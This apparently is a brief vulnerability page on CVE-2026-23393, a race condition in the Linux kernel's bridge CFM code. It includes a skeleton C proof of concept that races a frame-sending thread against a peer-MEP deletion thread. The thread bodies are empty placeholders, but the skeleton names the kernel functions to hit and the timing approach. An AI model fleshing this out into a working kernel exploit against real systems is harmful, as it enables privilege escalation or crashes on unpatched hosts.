CVE-2026-23393 Linux内核桥接CFM竞态条件漏洞

/* * Conceptual PoC for CVE-2026-23393 * This PoC attempts to trigger the race condition by: * 1. Creating a bridge interface and enabling CFM. * 2. Spawning a thread to continuously send CFM frames. * 3. Spawning a thread to repeatedly delete and add the peer MEP. * * Note: Exploiting kernel race conditions requires precise timing * and specific kernel configuration. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> // Helper to simulate sending frames (requires raw socket or netlink) void* send_cfm_frames(void* arg) { while (1) { // Implementation of sending crafted CCM packets // to trigger br_cfm_frame_rx() usleep(100); // Adjust timing to increase race window } return NULL; } // Helper to simulate deletion (via Netlink) void* trigger_delete(void* arg) { while (1) { // Implementation of netlink message to delete peer MEP // This triggers mep_delete_implementation() // usleep(100); } return NULL; } int main() { pthread_t sender, deleter; // Setup network interface and CFM here... pthread_create(&sender, NULL, send_cfm_frames, NULL); pthread_create(&deleter, NULL, trigger_delete, NULL); pthread_join(sender, NULL); pthread_join(deleter, NULL); return 0; }